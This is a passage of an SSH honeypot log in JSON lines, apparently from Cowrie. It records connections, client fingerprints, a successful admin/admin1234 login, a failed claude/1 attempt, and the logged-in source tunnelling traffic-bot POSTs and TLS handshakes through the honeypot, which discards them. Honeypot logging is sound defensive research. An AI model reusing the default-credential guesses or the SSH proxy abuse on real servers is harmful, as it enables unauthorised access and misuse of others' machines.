{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 9_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/90.0.4430.85 Mobile/13C75 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1186\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=ND52QDNWT19aISpkK1VAKw%3D%3DgAgokk3V2rwwkOs0oz2D7OJQ%2BUlgc0Se%2Fhc%2FzXsoBgQxg5iMYWMR0J74YPnBIGm33V7rVQn7L3VQGs1ikl3w1YfSFZ1MV03RKtTcQs9JkiT8mCqt5g5qQB%2FEAg4130gngxX9EIe%2BsitqhvBEzaWlZSHOO9jv4W%2BAOItZyb31qYYQRakvO58gjdqjHGG6lkA10WrScynlaRQ%2BM2Zam0rRknJSii6Tk3SadV97XKoJDMbrSZ%2BwxGca97HLAZs6ml0ig9FS%2BEFNsz%2FM%2FE0E1dwv%2FD96saljO0ofVvXT28WiDNW1aqlp1fzkB3T9AeFfJNj6aP1Ru66lSa%2Fof7I6TQcamfbr%2Bsu38gLgQGttmYuGAefPmAqiTQKCyx2K6adwu9NVgO%2B%2BqiBTCniRFoWfqjkaNiJXiHnzsXqc1d3nbwdm2uRxZdWxyspVkTAt2mpjf3SprLMSesnZWe5TmgNC5hEfxa2COAHGAuo98K0nlx6aOh3NQqxF7NpTAOI9Me%2BVSMMitNtj14yixA30IFMjppnmz63dPUWVPNrupBeN7%2FAq6vvz3Igq%2FKaMyChGn9QPXjkaDT2WV03TgpaQBIlnPeNIkZFYw8gGTGZ2b6wxfGjbvZiitQjCY4A8L%2B%2FLMpr49Hzy4hP5K%2BwGBQ8v5mnYiwWq%2F8v%2FCfLFsP5IOdyVyjBitPfYUco1Vg50zkYPAiSEP266twU8L79aSaai1Sxe9OOlYv7xcKP3m2mOtZsmX%2FoflpuHyk2BYhywYQGa9gG%2BqO%2B2P7vSYLtivvXxSBpjY%2F70O37ufBzVQF5L2KX4RQ6Bo%2Bqvafny1XNdqjQ9h5DMBGQyJj0P3XoFls5ItnKWSBbAt5BIeMPjmkVaHcBr0UOWD7dTpb45kyQX0JPEopZv9KFlCC0QS0tcLJtXLHTlbAMg%2FuQeZdSBRm5EwWxO7iKeTrS4FJeoZP6kR0FxL72ZF%2FSZIBFCxmmrMHPRlQZ3%2B9uSkXPQz1BBtvhCJacY8FL%2BcGv2nlpHbQqd9h9iTHt5do%2BWBdQV2z9kkVYE43FYuqus3D8GPXxDgnboImnYTlzxqc7fxfEVaR4MnEJpFc94dRMw'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 9_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/90.0.4430.85 Mobile/13C75 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1186\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=ND52QDNWT19aISpkK1VAKw%3D%3DgAgokk3V2rwwkOs0oz2D7OJQ%2BUlgc0Se%2Fhc%2FzXsoBgQxg5iMYWMR0J74YPnBIGm33V7rVQn7L3VQGs1ikl3w1YfSFZ1MV03RKtTcQs9JkiT8mCqt5g5qQB%2FEAg4130gngxX9EIe%2BsitqhvBEzaWlZSHOO9jv4W%2BAOItZyb31qYYQRakvO58gjdqjHGG6lkA10WrScynlaRQ%2BM2Zam0rRknJSii6Tk3SadV97XKoJDMbrSZ%2BwxGca97HLAZs6ml0ig9FS%2BEFNsz%2FM%2FE0E1dwv%2FD96saljO0ofVvXT28WiDNW1aqlp1fzkB3T9AeFfJNj6aP1Ru66lSa%2Fof7I6TQcamfbr%2Bsu38gLgQGttmYuGAefPmAqiTQKCyx2K6adwu9NVgO%2B%2BqiBTCniRFoWfqjkaNiJXiHnzsXqc1d3nbwdm2uRxZdWxyspVkTAt2mpjf3SprLMSesnZWe5TmgNC5hEfxa2COAHGAuo98K0nlx6aOh3NQqxF7NpTAOI9Me%2BVSMMitNtj14yixA30IFMjppnmz63dPUWVPNrupBeN7%2FAq6vvz3Igq%2FKaMyChGn9QPXjkaDT2WV03TgpaQBIlnPeNIkZFYw8gGTGZ2b6wxfGjbvZiitQjCY4A8L%2B%2FLMpr49Hzy4hP5K%2BwGBQ8v5mnYiwWq%2F8v%2FCfLFsP5IOdyVyjBitPfYUco1Vg50zkYPAiSEP266twU8L79aSaai1Sxe9OOlYv7xcKP3m2mOtZsmX%2FoflpuHyk2BYhywYQGa9gG%2BqO%2B2P7vSYLtivvXxSBpjY%2F70O37ufBzVQF5L2KX4RQ6Bo%2Bqvafny1XNdqjQ9h5DMBGQyJj0P3XoFls5ItnKWSBbAt5BIeMPjmkVaHcBr0UOWD7dTpb45kyQX0JPEopZv9KFlCC0QS0tcLJtXLHTlbAMg%2FuQeZdSBRm5EwWxO7iKeTrS4FJeoZP6kR0FxL72ZF%2FSZIBFCxmmrMHPRlQZ3%2B9uSkXPQz1BBtvhCJacY8FL%2BcGv2nlpHbQqd9h9iTHt5do%2BWBdQV2z9kkVYE43FYuqus3D8GPXxDgnboImnYTlzxqc7fxfEVaR4MnEJpFc94dRMw'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:09.313369Z","src_ip":"38.46.222.137","session":"0b158667564f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":22940,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c9c8e348be2","protocol":"ssh","message":"New connection: 45.153.34.195:22940 (10.17.0.5:22) [session: 6c9c8e348be2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:09.602678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:09.608079Z","src_ip":"45.153.34.195","session":"6c9c8e348be2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:09.707638Z","src_ip":"45.153.34.195","session":"6c9c8e348be2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:09.863318Z","src_ip":"113.164.152.20","session":"f59d5a730662","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"1","message":"login attempt [claude/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:09.955292Z","src_ip":"45.153.34.195","session":"6c9c8e348be2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:10.496603Z","session":"f59d5a730662","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:11.038772Z","src_ip":"45.153.34.195","session":"6c9c8e348be2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:11.152032Z","src_ip":"113.164.152.20","session":"f59d5a730662","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1198\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 Edge/16.16299\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=MSlhPChlU211enM8e0d%2BNg%3D%3D5nDgJMzPuMEgn8%2Bkvrh7oHtJxkMUJxVre4neEao035nrZtZrH3ZFTWEH2RuZ7enCaPtq%2FZ0rl5biCdySg9m3Jw6iwrMMl3agsRFpjZH%2B5kmzu99O3bUsXsHMFDxut3ren9eeX5K9Rcs5iU1E1nPl0u%2FxFiNVPzxFcWiGWjRs38ccgOY%2BsATUsLrq8KQXSpIdsTSL%2BKoElgz3vcm01UtDE%2Fi%2B9JRZvaTiRo5yjWzX4kOn7O91zXvC8zvodG3Tn8OerOiWsQuHtzLSdL%2BDSYxVjNbVLEmRUpiqzbbOFmM1V2%2FABNcRApL%2Fxt6xMPQWQFGXjiKKRMgMFN7%2B7PECHW5%2Bb0obBkoYHXgiEr%2B6ys5NVvTcMH%2Bnekh1a0xpBh2HX0GhWxHBrMBJB6dz8X0XY%2FawuvnnoRBR8SqfYDAHIoK%2BSy%2FoxesoXY4e9K2WNWWZ6cw44053V3hTQ288aTK%2BfPg0v9U76tG9lBbDVVLbhehCzKwlKGDudQ6S%2Bo7FUr%2FTVGa6xQn39auZAaTpTCtlt0ny7rl%2FAv0Ab%2B%2Bz8rMo8XabAEbp8oOD4Ii9oMeim5OuMCnIOaoG4LzUhOqzun6XuK1tRfjj4OigAtdc5s%2BZx3T%2BoGjfYlxv3gc%2BTYMICNcDpjB19GzY5saKW3sjZTBS8XhT2%2BdcoWe3tXAQosB0giKPDzlJCB8kWd5CahyXKQNMp8L46Hsvrek7CeD2kZEI0J9GUiwhc8AuS58yX2%2FCd92OiDcBh374UZFKDFSUJ2xyM3cUV5rx8UBMEmA7x%2BG%2FO1Uf6Gc%2FK%2BARagnVXKjuSCdVRLntMFx%2BBNeUwnHhb%2FQZ6BPxBa5Ri18tvDc6JsvlSZjSIJ4r70iDOuRWLMhV6lb2vwsK%2F9WAPqOXhHh3bVyIqvCznkthilmGCWjqbuHK1Ee6ndKd8RGrYqQa3O0yDimN3AZZGnjclTXeZTmc1pndorcMpbqEaUspzD4gzNOcWZz1qP6JBYLvLw%2B9JgH6QTOchZY78Gy6kRzBzLoJwfw65G%2FnwB1FGENd18XDlrbFhKKv7nq285SeViV5zp%2FrBfEXelAsOy8k1fAW8pXTziZFfrdC'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1198\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 Edge/16.16299\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=MSlhPChlU211enM8e0d%2BNg%3D%3D5nDgJMzPuMEgn8%2Bkvrh7oHtJxkMUJxVre4neEao035nrZtZrH3ZFTWEH2RuZ7enCaPtq%2FZ0rl5biCdySg9m3Jw6iwrMMl3agsRFpjZH%2B5kmzu99O3bUsXsHMFDxut3ren9eeX5K9Rcs5iU1E1nPl0u%2FxFiNVPzxFcWiGWjRs38ccgOY%2BsATUsLrq8KQXSpIdsTSL%2BKoElgz3vcm01UtDE%2Fi%2B9JRZvaTiRo5yjWzX4kOn7O91zXvC8zvodG3Tn8OerOiWsQuHtzLSdL%2BDSYxVjNbVLEmRUpiqzbbOFmM1V2%2FABNcRApL%2Fxt6xMPQWQFGXjiKKRMgMFN7%2B7PECHW5%2Bb0obBkoYHXgiEr%2B6ys5NVvTcMH%2Bnekh1a0xpBh2HX0GhWxHBrMBJB6dz8X0XY%2FawuvnnoRBR8SqfYDAHIoK%2BSy%2FoxesoXY4e9K2WNWWZ6cw44053V3hTQ288aTK%2BfPg0v9U76tG9lBbDVVLbhehCzKwlKGDudQ6S%2Bo7FUr%2FTVGa6xQn39auZAaTpTCtlt0ny7rl%2FAv0Ab%2B%2Bz8rMo8XabAEbp8oOD4Ii9oMeim5OuMCnIOaoG4LzUhOqzun6XuK1tRfjj4OigAtdc5s%2BZx3T%2BoGjfYlxv3gc%2BTYMICNcDpjB19GzY5saKW3sjZTBS8XhT2%2BdcoWe3tXAQosB0giKPDzlJCB8kWd5CahyXKQNMp8L46Hsvrek7CeD2kZEI0J9GUiwhc8AuS58yX2%2FCd92OiDcBh374UZFKDFSUJ2xyM3cUV5rx8UBMEmA7x%2BG%2FO1Uf6Gc%2FK%2BARagnVXKjuSCdVRLntMFx%2BBNeUwnHhb%2FQZ6BPxBa5Ri18tvDc6JsvlSZjSIJ4r70iDOuRWLMhV6lb2vwsK%2F9WAPqOXhHh3bVyIqvCznkthilmGCWjqbuHK1Ee6ndKd8RGrYqQa3O0yDimN3AZZGnjclTXeZTmc1pndorcMpbqEaUspzD4gzNOcWZz1qP6JBYLvLw%2B9JgH6QTOchZY78Gy6kRzBzLoJwfw65G%2FnwB1FGENd18XDlrbFhKKv7nq285SeViV5zp%2FrBfEXelAsOy8k1fAW8pXTziZFfrdC'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:11.162302Z","src_ip":"113.164.152.20","session":"f59d5a730662","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:11.167592Z","session":"f59d5a730662","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:11.463211Z","src_ip":"113.164.152.20","session":"f59d5a730662","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03J\\xc1\\xdd }\\xe0\\xef\\n\\x92(\\x9a\\x15\\xcbn\\x9d3_i>\\xe5f\\x95\\xd0M\\xd2p\\xfc\\xcf\\x99Dry \\xac\\x1d\\xf7s?\\xc4\\xd6^Gx\\x9a\\x89q\\xa2\\x8aTV';-*\\x8f\\x9e\\xb2\\xc6a\\xddzJ3bv\\x00 ::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\xe4/j/7`7\\xdfv\\x07/'\\xa8R\\xbb\\x8c\\xc5\\xd1a\\x8f\\x0e[6\\x86\\x92G\\xfex\\xf6\\x13\\x89\\x17\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03J\\xc1\\xdd }\\xe0\\xef\\n\\x92(\\x9a\\x15\\xcbn\\x9d3_i>\\xe5f\\x95\\xd0M\\xd2p\\xfc\\xcf\\x99Dry \\xac\\x1d\\xf7s?\\xc4\\xd6^Gx\\x9a\\x89q\\xa2\\x8aTV';-*\\x8f\\x9e\\xb2\\xc6a\\xddzJ3bv\\x00 ::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\xe4/j/7`7\\xdfv\\x07/'\\xa8R\\xbb\\x8c\\xc5\\xd1a\\x8f\\x0e[6\\x86\\x92G\\xfex\\xf6\\x13\\x89\\x17\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:11.467407Z","src_ip":"113.164.152.20","session":"f59d5a730662","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:11.763503Z","session":"f59d5a730662","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:12.074563Z","src_ip":"113.164.152.20","session":"f59d5a730662","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xfes\\xb4\\x8e\\xf2AG\\xd8R\\xa7\\xe4\\x11lq\\xed]^\\x03\\xea\\xd9\\xd2\\xd8\\x96\\xdf\\xe9\\xef\\x98\\xf5\\x8c\\xa83\\xf2 \\x1bZ\\xc2\\x1b\\x08\\xc8\\xca:\\xed{\\xbau(\\xa2\\xa4C\\x8b\\xa4\\xc7j<\\x91\\x1b\\x8cKp\\x0f\\xe3h\\xd4\\xb8\\xd4\\x00\"\\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 5\\x93\\xd5\\xd2\\x8a5_\\x05\\x88\\xae\\xeb.v\\xfa\\xb3\\x15\\x1f7\\x12`\\xde2I\\xea\\x87!7\\xfe\\xe9o^t\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0